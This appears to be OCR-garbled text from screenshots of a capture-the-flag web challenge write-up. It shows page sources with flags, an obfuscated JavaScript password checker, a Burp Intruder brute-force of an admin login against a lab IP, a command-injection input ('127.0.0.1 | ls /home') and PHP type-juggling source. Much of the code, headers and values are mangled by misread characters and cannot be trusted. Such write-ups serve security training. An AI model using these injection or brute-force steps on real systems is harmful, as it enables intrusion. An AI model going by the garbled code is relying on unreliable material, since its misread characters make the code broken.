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<IDOCTYPE html>»
<html lang="en"» |event
b <head> = <{/head>

P <script»==l¢/script>
<h1>FLAG is not here</hl>
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</body>
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khtml>
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<meta charset="UTF-8">
<title>Z& 3 HF</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/¢
H <style>
body {
margin-left:auteo;
margin-right:aute;
margin-TOP:200PX;
width:20em;
}
- </style>
-</head>
H<body>
<h2>#RAEindex. phplI &G L HE LG ? </h3>
H<?php
Sflag="Cyberpeace{85521C4B34012%4CB6604CCCOEBDE334}"
2>
-</body>
L</hitml>
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Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 276
Content-Type: text/html
Date: Wed, 11 Sep 2019 07:45:29 GMT
Keep-Alive: timeout=5, max=100

Server: Apache/2.4.7 (Ubunt
Set-Cookie: |uok—herﬁ§is php
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Content-Encoding: gzip
Content-Length: 253
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<html>
P <head> (= </head> ]
* <body> / iy
I

<h3>— I TRHEAHEE </ h3>
v <form action="" method="post">»

<input class="btn btn-default™ |[disabled=""] style="height:58px;width:280px;" type="submit™ value="flag™ name="auth™>
</form>»

</body>»
</html> 2

simple_js
TIFLRATMNERD, %H12%6 BV

<html>
<head>
<title»ds</title>
<script type="text/javascript”:
function dechiffre(pass_enc){
var pass = "7@,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";

var tab = pass_enc.split(',");
var tab2 = pass.split(’,");var i,7,k,1=8,m,n,o,p = "";i = 8;j = tab.length;
k=17 + (1) + (n=0);

n tab2.length;
for(i = (0=0); i < (k=73 =n); i++ ){o = tab[i-1];p += String.fromCharCode((oc = tab2[i]));
if(i == 5)break;}
for(i = (0=0); 1 < (k=3 =n); i++ }{
o = tab[i-1];
if(i » 5 & i < k-1)
p += String.fromCharCode((o = tab2[i]))

¥
p += String.fromCharCode(tab2[17]);
pass = p;return pass;

}
String["fromCharCode”](dechiffre("\x35\x35\x2c\x354\x36\x2c\x35\x34\x2c \x37\x39\x2c\x31 \x31\x35\x2c\x36\ %39\ x2c\x31\x31\ %34\ x2c\ %31\ X314\ %2

h = window.prompt( Enter password');
alert( dechiffre(h) );

</script>
</head>

</html>
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POST Scheck.php HTTE/L.1

Host: 111.198.29.45:37987

User-Agent: Mozilla/5.0 (Windows NT L0.0; Wingd; xé4; rv:£8.0) Gecko/I0100101 Firefox/E8.0
Aocept: text/html,application/xhtml+xml, application/xml;q=0.9,*%/*;q=0.8
Aocept-Language: zh-CHN, zh:;=0.8, eh-TW;¢=0.7, 2h-HE; gq=0.5,en-U3;g=0.3 ,en;q=0.2
Referer: http://111.198.259.45:37987/

Content-Type: application/x-wwwv-form—urlencoded

Content-Length: 27

Connection: close

Cookie: look-here=cookie.php

Upgrade-Insecure-FRequests: 1

username=admin&épassword=51238
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J Hesults | larget | Fositions | Hayloads | Uptions |

s on tl| Filter: Showing all items Li
Request 4 | Payload |Status | Eror | Timeout | Length | Comment
0 200 Ol Ol 434 i
1 1 200 O] O] 434
—| 2 111 200 Ol Ol 434 N
3 123 200 O] O] 434
4 1234 200 O O 434
ayload | 5 12345 200 O [ 434
6 123456 200 ] ] 437
T 1234567 200 O] O] 434
8 12345678 200 Ol Ol 434
9 654321 200 O] O] 434 :r

J Request T Response ]
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POST /check.php HTTE/L.1 F

Host: 111.198.29.45:37987
User-Agent: Mozilla/5.0 (Windows NT L10.0; Wingd; xé4; rv:£8.0) Gecko/I0100101 Firefox/E8.0
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127.0.0.1 | Is fhome
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ping -c 3 127.0.8.1 | 1s /home
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show source( FILE ):

include (“config. php”) ;

$a=@$ GET[ a’ |;

$h=@$ GET[' b’ 1;

if(3a==0 and $a){
echo $flagl;

}

if (is_numeric ($h)) {
exit();

1

if ($b>1234) {
echo $flag2;
}
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